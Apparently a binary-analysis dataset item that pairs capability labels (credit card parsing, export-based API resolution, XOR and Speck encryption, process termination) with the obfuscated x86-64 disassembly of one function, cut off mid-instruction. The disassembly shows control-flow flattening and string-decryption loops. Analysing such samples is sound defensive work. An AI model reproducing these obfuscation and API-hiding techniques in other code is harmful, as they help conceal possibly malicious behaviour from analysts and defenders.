Function at 0x1404614ad
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rax
pushf
mov eax, 0x8dcace16
pushf
not eax
add eax, 0xf27b7f13
xor eax, 0x871b97d7
rol eax, 0x42
popf
pushf
not eax
add eax, 0xdb97e862
xor eax, 0xf24a0ee3
rol eax, 7
popf
pushf
not eax
add eax, 0xc920558c
xor eax, 0xab537543
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xdbc50dc3
xor eax, 0xebf1dee9
rol eax, 0xca
popf
cmp eax, 0x59
jne 0x140461510
popf
pop rax
jmp 0x1404655ba
cmp eax, 0x48
jne 0x14046151f
popf
pop rax
jmp 0x140464bf2
cmp eax, 0x3f
jne 0x14046152e
popf
pop rax
jmp 0x14046467a
cmp eax, 1
jne 0x14046153d
popf
pop rax
jmp 0x140461b6d
cmp eax, 0x4a
jne 0x14046154c
popf
pop rax
jmp 0x140464cea
cmp eax, 0x1a
jne 0x14046155b
popf
pop rax
jmp 0x140462f27
cmp eax, 0x5d
jne 0x14046156a
popf
pop rax
jmp 0x1404657f5
cmp eax, 0x58
jne 0x140461579
popf
pop rax
jmp 0x140465503
cmp eax, 0x40
jne 0x140461588
popf
pop rax
jmp 0x1404646da
cmp eax, 8
jne 0x140461597
popf
pop rax
jmp 0x140461f7f
cmp eax, 0x2a
jne 0x1404615a6
popf
pop rax
jmp 0x1404638cc
cmp eax, 0x17
jne 0x1404615b5
popf
pop rax
jmp 0x140462bd9
cmp eax, 0x1c
jne 0x1404615c4
popf
pop rax
jmp 0x140463017
cmp eax, 0x2e
jne 0x1404615d3
popf
pop rax
jmp 0x140463af2
cmp eax, 0x4c
jne 0x1404615e2
popf
pop rax
jmp 0x140464dff
cmp eax, 0x2b
jne 0x1404615f1
popf
pop rax
jmp 0x14046392a
cmp eax, 0x1b
jne 0x140461600
popf
pop rax
jmp 0x140462fcc
cmp eax, 0x2d
jne 0x14046160f
popf
pop rax
jmp 0x140463a83
cmp eax, 0x23
jne 0x14046161e
popf
pop rax
jmp 0x140463417
cmp eax, 0x5b
jne 0x14046162d
popf
pop rax
jmp 0x1404656e0
cmp eax, 0x43
jne 0x14046163c
popf
pop rax
jmp 0x14046498c
cmp eax, 0x13
jne 0x14046164b
popf
pop rax
jmp 0x1404628b5
cmp eax, 0x33
jne 0x14046165a
popf
pop rax
jmp 0x140463d86
cmp eax, 0x24
jne 0x140461669
popf
pop rax
jmp 0x140463464
cmp eax, 0x1e
jne 0x140461678
popf
pop rax
jmp 0x140463135
cmp eax, 0xc
jne 0x140461687
popf
pop rax
jmp 0x1404622de
cmp eax, 0x26
jne 0x140461696
popf
pop rax
jmp 0x14046351d
cmp eax, 0x27
jne 0x1404616a5
popf
pop rax
jmp 0x140463751
cmp eax, 0x30
jne 0x1404616b4
popf
pop rax
jmp 0x140463c4d
cmp eax, 0x10
jne 0x1404616c3
popf
pop rax
jmp 0x1404626a3
cmp eax, 0x37
jne 0x1404616d2
popf
pop rax
jmp 0x1404640e0
cmp eax, 9
jne 0x1404616e1
popf
pop rax
jmp 0x14046200f
cmp eax, 0x39
jne 0x1404616f0
popf
pop rax
jmp 0x1404641a9
cmp eax, 0x16
jne 0x1404616ff
popf
pop rax
jmp 0x140462b91
cmp eax, 0x3b
jne 0x14046170e
popf
pop rax
jmp 0x14046422a
cmp eax, 0x4b
jne 0x14046171d
popf
pop rax
jmp 0x140464d2c
cmp eax, 0x36
jne 0x14046172c
popf
pop rax
jmp 0x14046402e
cmp eax, 0x14
jne 0x14046173b
popf
pop rax
jmp 0x140462963
cmp eax, 0x46
jne 0x14046174a
popf
pop rax
jmp 0x140464b1a
cmp eax, 0x3d
jne 0x140461759
popf
pop rax
jmp 0x14046455f
cmp eax, 2
jne 0x140461768
popf
pop rax
jmp 0x140461c02
cmp eax, 0x47
jne 0x140461777
popf
pop rax
jmp 0x140464b65
cmp eax, 0x51
jne 0x140461786
popf
pop rax
jmp 0x140465073
cmp eax, 0x11
jne 0x140461795
popf
pop rax
jmp 0x1404626fc
cmp eax, 0x35
jne 0x1404617a4
popf
pop rax
jmp 0x140463e52
cmp eax, 0x3a
jne 0x1404617b3
popf
pop rax
jmp 0x1404641e1
cmp eax, 0x12
jne 0x1404617c2
popf
pop rax
jmp 0x14046280a
cmp eax, 0x21
jne 0x1404617d1
popf
pop rax
jmp 0x14046330c
cmp eax, 0x38
jne 0x1404617e0
popf
pop rax
jmp 0x14046416f
cmp eax, 0xb
jne 0x1404617ef
popf
pop rax
jmp 0x14046214e
cmp eax, 0x5c
jne 0x1404617fe
popf
pop rax
jmp 0x14046572e
cmp eax, 0x15
jne 0x14046180d
popf
pop rax
jmp 0x1404629fb
cmp eax, 5
jne 0x14046181c
popf
pop rax
jmp 0x140461d9b
cmp eax, 6
jne 0x14046182b
popf
pop rax
jmp 0x140461df2
cmp eax, 0x5a
jne 0x14046183a
popf
pop rax
jmp 0x14046564f
cmp eax, 0x49
jne 0x140461849
popf
pop rax
jmp 0x140464c7b
cmp eax, 0x1f
jne 0x140461858
popf
pop rax
jmp 0x1404631ce
cmp eax, 4
jne 0x140461867
popf
pop rax
jmp 0x140461d63
cmp eax, 0x2f
jne 0x140461876
popf
pop rax
jmp 0x140463b34
cmp eax, 0x4d
jne 0x140461885
popf
pop rax
jmp 0x140464e5b
cmp eax, 0x55
jne 0x140461894
popf
pop rax
jmp 0x140465340
cmp eax, 0x45
jne 0x1404618a3
popf
pop rax
jmp 0x140464aba
cmp eax, 0x2c
jne 0x1404618b2
popf
pop rax
jmp 0x1404639ae
cmp eax, 0x5f
jne 0x1404618c1
popf
pop rax
jmp 0x1404658a5
cmp eax, 0x19
jne 0x1404618d0
popf
pop rax
jmp 0x140462e1e
cmp eax, 0x1d
jne 0x1404618df
popf
pop rax
jmp 0x1404630af
cmp eax, 0x34
jne 0x1404618ee
popf
pop rax
jmp 0x140463e17
cmp eax, 0x53
jne 0x1404618fd
popf
pop rax
jmp 0x1404651c3
cmp eax, 0x4f
jne 0x14046190c
popf
pop rax
jmp 0x140464f94
cmp eax, 0x42
jne 0x14046191b
popf
pop rax
jmp 0x1404647b7
cmp eax, 7
jne 0x14046192a
popf
pop rax
jmp 0x140461eda
cmp eax, 0x20
jne 0x140461939
popf
pop rax
jmp 0x140463238
cmp eax, 0x56
jne 0x140461948
popf
pop rax
jmp 0x1404653a8
cmp eax, 0x3c
jne 0x140461957
popf
pop rax
jmp 0x14046434b
cmp eax, 0xd
jne 0x140461966
popf
pop rax
jmp 0x140462352
cmp eax, 0xa
jne 0x140461975
popf
pop rax
jmp 0x1404620b6
cmp eax, 0x18
jne 0x140461984
popf
pop rax
jmp 0x140462cc1
cmp eax, 0x28
jne 0x140461993
popf
pop rax
jmp 0x1404637f0
cmp eax, 0x22
jne 0x1404619a2
popf
pop rax
jmp 0x1404633b8
cmp eax, 0x50
jne 0x1404619b1
popf
pop rax
jmp 0x140465025
cmp eax, 0x52
jne 0x1404619c0
popf
pop rax
jmp 0x140465176
cmp eax, 0x41
jne 0x1404619cf
popf
pop rax
jmp 0x140464738
cmp eax, 0xe
jne 0x1404619de
popf
pop rax
jmp 0x14046244d
cmp eax, 0x32
jne 0x1404619ed
popf
pop rax
jmp 0x140463d13
cmp eax, 0x29
jne 0x1404619fc
popf
pop rax
jmp 0x140463892
cmp eax, 0x3e
jne 0x140461a0b
popf
pop rax
jmp 0x1404645eb
cmp eax, 0
jne 0x140461a1a
popf
pop rax
jmp 0x140461aa1
cmp eax, 0x4e
jne 0x140461a29
popf
pop rax
jmp 0x140464eff
cmp eax, 0x31
jne 0x140461a38
popf
pop rax
jmp 0x140463c82
cmp eax, 0x54
jne 0x140461a47
popf
pop rax
jmp 0x140465298
cmp eax, 0x5e
jne 0x140461a56
popf
pop rax
jmp 0x140465859
cmp eax, 0x25
jne 0x140461a65
popf
pop rax
jmp 0x1404634e2
cmp eax, 0xf
jne 0x140461a74
popf
pop rax
jmp 0x140462519
cmp eax, 0x44
jne 0x140461a83
popf
pop rax
jmp 0x140464a3e
cmp eax, 0x57
jne 0x140461a92
popf
pop rax
jmp 0x1404654a7
cmp eax, 3
jne 0x140461aa1
popf
pop rax
jmp 0x140461c66
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x108]
sub rsp, 0x200
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0xe0], rax
movups xmm0, xmmword [0x1403cbbe8]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1403cbbf8]
movups xmmword [rbp + 0x50], xmm1
xor esi, esi
mov ebx, dword [reloc.WS2_32.dll_accept]
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140461b3a
push rax
pushf
mov eax, 0x98d2127a
pushf
not eax
add eax, 0xef69add4
xor eax, 0x9bf5f502
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe245a659
xor eax, 0xcfd2c7ed
rol eax, 0x48
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x4659cbc8
pushf
not eax
add eax, 0xe17bfb66
xor eax, 0x8534a13a
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x9286bef1
xor eax, 0xde11861c
rol eax, 0x9e
popf
jmp 0x140461501
cmp ebx, 2
jl 0x140461bbc
push rax
pushf
mov eax, 0x39070c5e
pushf
not eax
add eax, 0xe9ecfb02
xor eax, 0x9e5d8c54
rol eax, 0xa
popf
pushf
not eax
add eax, 0xd44b062a
xor eax, 0xd569d6d5
rol eax, 0x26
popf
pushf
not eax
add eax, 0xd16a4750
xor eax, 0xdbaa58d6
rol eax, 0x3d
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x1ade97d0
pushf
not eax
add eax, 0xee0bc89c
xor eax, 0xdd79fdae
rol eax, 0x83
popf
pushf
not eax
add eax, 0xb1b5b16f
xor eax, 0xe23bc973
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xdedca358
xor eax, 0xbb1b2c0a
rol eax, 0xae
popf
jmp 0x140461501
movdqa xmm5, xmmword [0x1403cc610]
mov edx, esi
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x44]
mov r8d, dword [rbp + 0x30]
nop
push rax
pushf
mov eax, 0xe285fb22
pushf
not eax
add eax, 0xad85a73b
xor eax, 0xea93f542
rol eax, 0x80
popf
pushf
not eax
add eax, 0xcbb6d60d
xor eax, 0xa74a7cb2
rol eax, 0x66
popf
jmp 0x140461501
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140461c66
jmp 0x140461eda
lea r9, [rbp + 0x40]
mov r8d, esi
nop word [rax + rax]
push rax
pushf
mov eax, 0x11291298
pushf
not eax
add eax, 0xb7073c04
xor eax, 0x8f611cbd
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x9cb8e683
xor eax, 0x8061c67a
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9353aca8
xor eax, 0xbcb85f50
rol eax, 0xc6
popf
jmp 0x140461501
mov eax, 0x50c3f2ed
pushf
not eax
add eax, 0xb01c1280
xor eax, 0xdd71add1
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x986ada97
xor eax, 0xba3bb469
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xb106ee17
xor eax, 0xee71fd37
rol eax, 0x24
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140461e94
push rax
pushf
mov eax, 0xbb919364
pushf
not eax
add eax, 0xe8bcc867
xor eax, 0xaaf5e0ee
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe46c969d
xor eax, 0xe891d90b
rol eax, 0x60
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x1a4e37c7
pushf
not eax
add eax, 0xb224017c
xor eax, 0xbdd92e90
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x8406ccf7
xor eax, 0xcfa10104
rol eax, 0x36
popf
pushf
not eax
add eax, 0xf07db140
xor eax, 0xd8ee715a
rol eax, 0xa1
popf
jmp 0x140461501
lea rcx, [rbp + 0x40]
call fcn.14043b153
mov dword [rsp + 0x30], esi
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
jmp 0x140461ef4
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rsp + 0x30]
jmp 0x140461eff
dec eax
cmp eax, 1
jbe 0x140461f4c
push rax
pushf
mov eax, 0xd0a64661
pushf
not eax
add eax, 0xda66cac0
xor eax, 0xd4704478
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xc42414aa
xor eax, 0x8884eb47
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xcadfa4e3
xor eax, 0xe3e7e340
rol eax, 0x72
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x1a1e4c8f
pushf
not eax
add eax, 0x959f62ed
xor eax, 0xc638680b
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xf24f38ab
xor eax, 0xf5a1b438
rol eax, 0xd8
popf
jmp 0x140461501
mov ecx, 0x3d9bc035
pushf
not ecx
add ecx, 0x8677d325
xor ecx, 0xdb0b96ba
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0x88cb2391
xor ecx, 0xdc2e676e
rol ecx, 0x6f
popf
jmp 0x140461faf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [0x1403cbc48]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x1403cbc50]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1403cbc54]
mov word [rbp + 0x3c], ax
cmp byte [0x1403cbc55], sil
je 0x140462070
push rax
pushf
mov eax, 0x2b37e981
pushf
not eax
add eax, 0xaf1a809b
xor eax, 0x818991ff
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x9e8b5d67
xor eax, 0xc8d1dccc
rol eax, 0x27
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x965f97e7
pushf
not eax
add eax, 0xa987faf4
xor eax, 0xb70b887c
rol eax, 0x60
popf
pushf
not eax
add eax, 0xcefe51bf
xor eax, 0xdd35717b
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbc843d0f
xor eax, 0xe4aa80b2
rol eax, 0xb0
popf
jmp 0x140461501
mov r8d, esi
cmp ebx, 2
jl 0x140462108
push rax
pushf
mov eax, 0x35bc3220
pushf
not eax
add eax, 0xce16654e
xor eax, 0xaf6a8108
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x985efad8
xor eax, 0xbeb49d2f
rol eax, 0x80
popf
pushf
not eax
add eax, 0xbfe5858f
xor eax, 0x8c054b43
rol eax, 0xad
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xac2a133c
pushf
not eax
add eax, 0x8c274018
xor eax, 0xf497361c
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xa209abc2
xor eax, 0xb4462242
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa5d6da1c
xor eax, 0xd5c6d408
rol eax, 0x17
popf
jmp 0x140461501
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1403cbc48]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov r8d, 0x2330def5
pushf
not r8d
add r8d, 0xebf38b08
xor r8d, 0xa35ac74d
rol r8d, 0x85
popf
pushf
not r8d
add r8d, 0x983ea2bb
xor r8d, 0xd2b364b8
rol r8d, 0x75
popf
pushf
not r8d
add r8d, 0xe0501f9e
xor r8d, 0x91916f53
rol r8d, 0x75
popf
push rax
pushf
mov eax, 0x9aba818c
pushf
not eax
add eax, 0x88816bb0
xor eax, 0x8b4e94a2
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb292818e
xor eax, 0xa5ca2aee
rol eax, 0x89
popf
pushf
not eax
add eax, 0x9f7dfed1
xor eax, 0xdefaa7b2
rol eax, 0xf4
popf
jmp 0x140461501
movsxd rax, r8d
lea r9, [rbp + 0x30]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax + rax]
push rax
pushf
mov eax, 0x32192bbd
pushf
not eax
add eax, 0xd0205cb9
xor eax, 0x89076b39
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x87fd4c8d
xor eax, 0x92efddb1
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xb70ce5de
xor eax, 0xd612450d
rol eax, 0xed
popf
pushf
not eax
add eax, 0xe95d580a
xor eax, 0xf6fb7e87
rol eax, 0xc8
popf
jmp 0x140461501
mov eax, 0x1ba7907c
pushf
not eax
add eax, 0xd79926a0
xor eax, 0xb1474671
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xa1e11f12
xor eax, 0xf1fc3ad4
rol eax, 0x25
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140462407
push rax
pushf
mov eax, 0xfe2efae
pushf
not eax
add eax, 0xa919baaf
xor eax, 0xdfee6b4c
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xdd82ec46
xor eax, 0x96a78c56
rol eax, 0x81
popf
pushf
not eax
add eax, 0xceb72db0
xor eax, 0xcf1af700
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xfdf11642
xor eax, 0xe6c4baae
rol eax, 0x1e
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x6cd50431
pushf
not eax
add eax, 0xe8d7ed99
xor eax, 0xd67c1483
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd9442981
xor eax, 0x84e8f7dc
rol eax, 0x64
popf
pushf
not eax
add eax, 0x8842d149
xor eax, 0xb6163d6f
rol eax, 0xce
popf
jmp 0x140461501
lea rcx, [rbp + 0x30]
call fcn.14043b153
lea rdx, [0x1a6c3fb52]
pushf
sub rdx, 0x6684dc1a
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14013cc60
mov eax, dword [0x1403cb660]
mov dword [rbp + 0x38], eax
movzx eax, byte [0x1403cb664]
movsd xmm0, qword [0x1403cb658]
mov byte [rbp + 0x3c], al
movsd qword [rbp + 0x30], xmm0
mov r8d, esi
cmp ebx, 2
jl 0x1404624e6
push rax
pushf
mov eax, 0x1e574c20
pushf
not eax
add eax, 0xbe571e8c
xor eax, 0xababc102
rol eax, 0x38
popf
pushf
not eax
add eax, 0xcb5c968d
xor eax, 0x877960bc
rol eax, 0x33
popf
pushf
not eax
add eax, 0xb7704d36
xor eax, 0xa140c2ac
rol eax, 0xb3
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xb671618a
pushf
not eax
add eax, 0x9bd0109d
xor eax, 0x9ea90a56
rol eax, 0xee
popf
pushf
not eax
add eax, 0xd0b9d06f
xor eax, 0xe7e8b171
rol eax, 0x2d
popf
jmp 0x140461501
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1403cb658]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov r8d, 0x359d5a7e
pushf
not r8d
add r8d, 0xfa9ad991
xor r8d, 0xf38a6ccd
rol r8d, 0x7d
popf
pushf
not r8d
add r8d, 0x9955ddd3
xor r8d, 0xb262fb57
rol r8d, 0x51
popf
push rax
pushf
mov eax, 0xd0c3ea92
pushf
not eax
add eax, 0x9d994cab
xor eax, 0xc982f643
rol eax, 0x56
popf
pushf
not eax
add eax, 0xb0b75f48
xor eax, 0xe46359c1
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbae603a2
xor eax, 0x8b7627e3
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xffe33fa0
xor eax, 0x8ae4d1b0
rol eax, 0x9d
popf
jmp 0x140461501
movsxd rax, r8d
lea r9, [rbp + 0x30]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
push rax
pushf
mov eax, 0xcf83a3da
pushf
not eax
add eax, 0xc7f4dac6
xor eax, 0xc077f68e
rol eax, 0x64
popf
pushf
not eax
add eax, 0xb4910d1c
xor eax, 0xf895d6be
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd99ecdc4
xor eax, 0x8136924c
rol eax, 0xa0
popf
jmp 0x140461501
mov eax, 0x929b2c52
pushf
not eax
add eax, 0x9c9d6f3f
xor eax, 0xd46406a3
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x876c8265
xor eax, 0xa3c45072
rol eax, 0xee
popf
pushf
not eax
add eax, 0xbb51355c
xor eax, 0xa364511a
rol eax, 0xfb
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1404627b1
push rax
pushf
mov eax, 0xac91b2a3
pushf
not eax
add eax, 0x81673b78
xor eax, 0xedec132e
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xf20f8c47
xor eax, 0xf5dca7cb
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x88161b3c
xor eax, 0xe109f358
rol eax, 0x46
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x6763ef56
pushf
not eax
add eax, 0x8bc6fbdc
xor eax, 0xeac85f8b
rol eax, 0x25
popf
pushf
not eax
add eax, 0xb65817e2
xor eax, 0xa2b9f38b
rol eax, 0x78
popf
pushf
not eax
add eax, 0xe7bcf98e
xor eax, 0xf8be3b0b
rol eax, 0x94
popf
pushf
not eax
add eax, 0xc0d87f41
xor eax, 0xcd9eb2f7
rol eax, 0x48
popf
jmp 0x140461501
lea rcx, [rbp + 0x30]
call fcn.14043b153
lea rdx, [0x1ba08f731]
pushf
sub rdx, 0x79c9d7d9
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14013cc60
cmp dword [rsp + 0x30], 2
jne 0x14046286f
push rax
pushf
mov eax, 0xba1dc354
pushf
not eax
add eax, 0xe27e257b
xor eax, 0xee50cc22
rol eax, 0x31
popf
pushf
not eax
add eax, 0xbab8b4e1
xor eax, 0xc6af287f
rol eax, 0x25
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xf6b2db50
pushf
not eax
add eax, 0xd7269cce
xor eax, 0xf6c00e3a
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd720d5ae
xor eax, 0xaebc2c11
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x80cde413
xor eax, 0x8d9263c5
rol eax, 0x74
popf
jmp 0x140461501
movsd xmm0, qword [0x1403cbad8]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x1403cbae0]
mov dword [rbp + 0x38], eax
cmp byte [0x1403cbae3], sil
je 0x140462931
push rax
pushf
mov eax, 0x2de78eb4
pushf
not eax
add eax, 0xdb4ca44b
xor eax, 0x988c7ac0
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb3d593a2
xor eax, 0xb74b1435
rol eax, 0x91
popf
pushf
not eax
add eax, 0x8401bb57
xor eax, 0x80238971
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd0900df5
xor eax, 0xf6d0a24f
rol eax, 0xdf
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x5fd5709d
pushf
not eax
add eax, 0xe94d624c
xor eax, 0x810ace86
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xcdbc3b3e
xor eax, 0xa5b3bdf2
rol eax, 1
popf
jmp 0x140461501
mov r8d, esi
cmp ebx, 2
jl 0x1404629a2
push rax
pushf
mov eax, 0x3c3db08b
pushf
not eax
add eax, 0xbbc650e4
xor eax, 0xaaf7de75
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xb0ba2820
xor eax, 0xa20a385a
rol eax, 6
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x5e3a39bb
pushf
not eax
add eax, 0x839f6e43
xor eax, 0xc42a3aa8
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb02bbf24
xor eax, 0xd23e579b
rol eax, 0x74
popf
pushf
not eax
add eax, 0x95cebefe
xor eax, 0xf07470b8
rol eax, 0x6e
popf
pushf
not eax
